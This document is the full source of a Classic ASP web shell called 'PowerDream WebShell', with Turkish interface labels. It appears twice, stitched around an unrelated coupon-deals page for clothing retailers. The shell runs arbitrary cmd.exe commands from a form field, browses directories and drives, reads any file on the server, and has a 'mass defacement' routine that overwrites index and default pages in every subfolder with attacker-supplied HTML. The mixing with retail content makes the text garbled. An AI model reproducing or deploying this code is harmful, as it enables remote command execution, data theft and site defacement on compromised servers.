<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!:
" & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:
|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

Dizinleri Göster : >

Direktörler

Arsivler

<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & "
" contador=contador+1 next%> 
<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & "
" Next%> 


MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz
:



CMD Bilgileri:
<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>
  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
" method="POST">
cmd>

Direktörler / Arşivler:

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>
<%set ObjPasta = nothing set Objeto = nothing%>

 

Extra Bilgiler
<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>
Hard Diskler
Tipleri
Numaralari
Sistem Bilgileri ve Arsivler
Limit
Total
<%=d.driveletter%>
<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>
<%=n%>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

    Server Hakkında Geniş Bilgi

_____________________________________________________________________________________________________

Find US offers and deals!Find UK offers and deals!Find CA offers and deals!
home
hot deals
new offers
expiring offers
printable offers
free shipping
view all merchants
Deal Categories
Apparel - Kids & Teens
Apparel - Men
Apparel - Women
Apparel- Intimate
Arts & Hobby
Automotive
Baby & Maternity
Beauty & Cosmetics
Books & Magazines
Cameras & Photos
Computer & Software
Cooking & Kitchenware
Dating & Networking
Department Stores
Diet Plans & Supplements
Education
Electronics & Appliances
Entertainment
Eyewear
Financial & Insurance
Flowers & Gifts
Food & Grocery
Health & Fitness
Home & Garden
Housewares & Furniture
Internet Services
Jewelry & Accessories
Licensed Merchandise
Luggage & Accessories
Music & Movies
Office Supplies & Ink
Other
Pet Supplies
Phone & Wireless
Seasonal & Holiday
Shoes
Sports & Outdoor
Toys & Games
Travel
Apparel - Kids & Teens Coupons & Offers
coupon home > Apparel - Kids & Teens
Similar Categories  - Baby & Maternity - Shoes
Apparel - Kids & Teens Featured Deals

(See all Urban Outfitters deals)
Sale Items for Her!
Find Special online savings on clothing ...
On-Going Promotion
Sale Items for Him!
On-Going Promotion

Up to 60% off at the AE Clearance Sale!
Save up to 60% on Clearance items at Ame...
On-Going Promotion

(See all Aeropostale deals)

(See all Hot Topic deals)
Hot Deals See all Hot Deals
1. American Eagle Outfitters
Up to 60% off at the AE Clearance Sale! (127 clicks)
On-Going Promotion

2. Urban Outfitters
Sale Items for Her! (91 clicks)
On-Going Promotion

3. Warner Bros. Online
The Batman Shop - Free Gift with Every Purchase! (59 clicks)
On-Going Promotion

4. Warner Bros. Online
Harry Potter Store - Free US Shipping on your $75+ order (52 clicks)
On-Going Promotion

5. Warner Bros. Online
Looney Tunes collectibles - Free US shipping with $75+ order (50 clicks)
On-Going Promotion

6. Warner Bros. Online
Best Deals at the Warner Bros Store! (46 clicks)
On-Going Promotion

7. Urban Outfitters
Sale Items for Him! (34 clicks)
On-Going Promotion

8. IslandSurf.com
Hot surfwear brand names at IslandSurf - Free US Shipping on $50 (17 clicks)
On-Going Promotion

9. SpreadShirt Designer.com
Design your own T-Shirt! (17 clicks)
On-Going Promotion

10. Warner Bros. Online
The Scooby-Doo Store (10 clicks)
On-Going Promotion

New Deals See all New Deals
Expiring Deals See all Expiring Deals
Apparel - Kids & Teens Deals

(See all Urban Outfitters deals)

Sale Items for Her!
Find Special online savings on clothing Items for Her at Urban Outfitters when youuse the Keycode coupon link!
On-Going Promotion

Sale Items for Him!
Find Special Sale Prices on Clothing Items for Men at Urban Outfitters when you use the Keycode coupon link!
On-Going Promotion
See all Urban Outfitters deals



Up to 60% off at the AE Clearance Sale!
Save up to 60% on Clearance items at American Eagle when you use the Keycode coupon link. Get these great deals before they are gone.
On-Going Promotion


(See all Warner Bros. Online deals)

Best Deals at the Warner Bros Store!
All the official Warner Bros. merchandise - find sale deals here
On-Going Promotion

Looney Tunes collectibles - Free US shipping with $75+ order
Choose from Bugs, Taz, Tweety, Sylvester, or your other favorite Looney Tunes characters
On-Going Promotion

The Batman Shop - Free Gift with Every Purchase!
All the official Batman collectibles and memorabilia
On-Going Promotion

Harry Potter Store - Free US Shipping on your $75+ order
Harry Potter scarves, jewelry, watches and more...great gift items for your Harry Potter fan
On-Going Promotion
See all Warner Bros. Online deals


(See all IslandSurf.com deals)

Hot surfwear brand names at IslandSurf - Free US Shipping on $50
ROXY, Quiksilver, Billabong, Dakine, SPY, Rip Curl, DAKINE and more
On-Going Promotion
See all IslandSurf.com deals


(See all National Jean Company deals)

Calling all fashionistas: Great prices on designer denim and apparel!
Time to live natty - gotta have it? Click here!
On-Going Promotion
See all National Jean Company deals


(See all Armani Exchange Canada deals)

Women's Sale Specials
The couture style of Armani for much less - quantities limited
On-Going Promotion

Men's Sale Specials
Quantities limited of these sale items
On-Going Promotion

Men's Classic, Trendy Styling at Armani Exchange
On-Going Promotion

A | X Trends
The latest fashions of the season
On-Going Promotion

All Merchants
AeropostaleIslandSurf.comSpreadShirt Designer.com
American Eagle OutfittersMauricesTorrid
Armani Exchange CanadaNational Jean CompanyUrban Outfitters
Hot TopicRoots CanadaWarner Bros. Online
 
<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!:
" & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:
|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

Dizinleri Göster : >

Direktörler

Arsivler

<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & "
" contador=contador+1 next%> 
<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & "
" Next%> 


MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz
:



CMD Bilgileri:
<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>
  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
" method="POST">
cmd>

Direktörler / Arşivler:

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>
<%set ObjPasta = nothing set Objeto = nothing%>

 

Extra Bilgiler
<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>
Hard Diskler
Tipleri
Numaralari
Sistem Bilgileri ve Arsivler
Limit
Total
<%=d.driveletter%>
<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>
<%=n%>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>
<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

    Server Hakkında Geniş Bilgi

_____________________________________________________________________________________________________